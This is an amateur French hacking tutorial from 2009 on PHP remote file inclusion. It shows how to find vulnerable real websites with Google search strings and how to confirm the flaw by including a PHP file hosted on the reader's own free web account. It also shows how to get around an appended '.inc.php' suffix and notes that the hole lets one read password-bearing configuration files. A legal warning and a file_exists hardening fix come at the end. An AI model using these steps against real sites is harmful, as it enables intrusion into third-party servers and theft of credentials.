#item_lien#

Faille sites PHP

 

1) Description : La faille include d'un site fait en php et du à un manque de vigilance du webmaster qui a créé ce site. En effet, il y a faille lorsque la fonction php include() est donné avec comme parametre (nom d'un fichier) une variable :
<?
include("$page");
?>

Cette fonction est utilisé dans la plus part des cas pour inclure du texte dans les cadres d'un site, souvent dans l'index, le nom de la page à inclure est donné lors d'un click sur un lien, on verra alors dans la barre d'adresse du navigateur : www.le_site.net/index.php?page=contact.htm

Ici la page à inclure est la page contact.htm
La page contact est ici en htm, mais elle peut être en n'importe quel format (txt, php, ...)

2) Trouver un site présentant cette faille :
Rien de plus simple, faire appel à notre allier google avec comme mot de recherche
index.php?page=
ou index.php?url=
etc... différent nom de variable sont à tester.

3) Tester l'existance de cette faille :
Voila, vous venez de faire votre recherche sur google, vous avez plein de site, vous voulez maintenant savoir si ce site peut être hacké par cette faille.
Premier test, tenter d'inclure google dans la page, aller sur le site, et rajoutez à l'url :
(toujours avec la variable $page, mais si vous avez une autre, adaptez en conséquence)
www.le_site.net/index.php?page=http://www.google.com
Faites entrer, et si vous voyez google s'afficher dans le site c'est qu'il y a de grande chance que la faille soit exploitable.
Continuons avec Google qui c'est affiché, on verra après les différent moyen de protection à contourner.
Maintenant, nous allons éxécuter du code php sur le server grace à cette faille. Car la fonction include() execute tout code php se trouvant sur le page inclu comme si la page etait partie intégrante du fichier d'origine.
Ouvrez un compte avec hébergement (ex: voila) pour héberger la page que vous allez creer.
Dans le fichier que l'on va nommer faille.txt, écrivez ce code php qui aurais comme but d'afficher une alerte en script confirmant qu'il y a bien le faille :
<?
echo "<script>alert('faille présente')</script>";
?>
echo""; est une fonction php d'affichage (de la source de la page que vous voyez à l'ecran)

enregistrez votre fichier et uploadez le sur votre hebergement.
retournez sur le site en question et testons la faille en prenant comme exemple un hebergement chez Voila :
www.le_site.net/index.php?page=http://site.voila.fr/votre_compte/faille.txt
L'affichage du message d'alerte "faille présente" vous confirme la présence de la faille.
Vous pouvez à partir de la afficher la source des pages php (interressant pour les pages de configuration avec mdp) creer des pages, en supprimer, enfin tous ce que le langage php sait faire.

Je ne pousserais pas les exemple aussi loin car je ne cautionne pas vos bétise.
Faites comme moi, à partir du moment où vous avez confirmation de la faille, envoyez un mail au webmaster, qui ne manquera pas de vous remerciez pour votre geste de sympathie.
Sachez que dépassez le stade de l'affichage du message d'alerte et légale interdit, il y a alors pénétration dans un système avec les peines qui vont avec.
Les webmasters peuvent vous retrouvez assez facilement si vous êtes imprudent.

4) Le test avec google n'a pas marché :
ou la page d'accueil s'est affiché correctement : il y a rien a faire, le webmaster connais sont boulot
ou vous avez eu un message d'erreur qui est alors utile de décoder :
exemple de message d'erreur :
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/le_site/index.php on line 23 Warning: Failed opening 'http://www.google.com.inc.php' for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php on line 23

On comprend ici les raison de cette erreur, nous voyons que le code a essayé d'inclure http://www.google.com.inc.php
(faille opening) Comme ce n'est pas nous qui avons mis .inc.php à la fin de l'adresse, cela a été rajouté par le script.
En donnant l'adresse de notre fichier faille.txt, il se serais passé la meme chose car il aurais voulu inclure faille.txt.inc.php
Pour contourner ceci,nous allons renommer notre fichier faille.txt en faille.inc.php et nous donnerons comme adresse
www.le_site.net/index.php?page=http://site.voila.fr/faille
attention : sans les extensions car elles seront rajoutées par le script.
le script inclura faille + .inc.php
et bingo!

Cette exemple marche sous un hébergement chez voila ainsi que les hébergement n'acceptant pas le php, si vous hébergez avec Free avec le php activé, la page faille.inc.php sera executé sur free et non pas sur le server de destination. Pensez-y.
2eme message d'erreur possible :
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/le_site/index.php on line 23 Warning: Failed opening '/mes_pages/http://www.google.com' for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php on line 23
Nous constatons ici que le script inclue les pages du dossier mes_pages nous ne pouvons donc pas spécifier d'adresse exterieur.
Après ces bases, vous devez bien connaitre le langage php pour contourner d'autre protection et étendre la possibilité d'action a partir de cette faille.

5) Sécuriser la fonction include sur notre site :
2 sécurités simples à additionner suffise :
remplacez
<?
include("$page");
?>
par :
<?
if(file_exists("notre_dossier/$page.htm"))include("notre_dossier/$page.htm");
else{
include("notre_dossier/accueil.htm"); }
?>

Nous vérifions l'éxistance du fichier dans notre dossier, nous l'incluons si il existe, a défault nous affichons la page d'accueil.
Le hacker ne voit pas de message d'erreur, donc ne connais pas la protection à contourner.


J'espere avoir bien expliqué!

aurtografe poowwwaaaaaa


 source : ©chapo horslimite.net

 

 

 

 

 

Underground / Failles sites
© 2009 cristodu83, Hack-Zone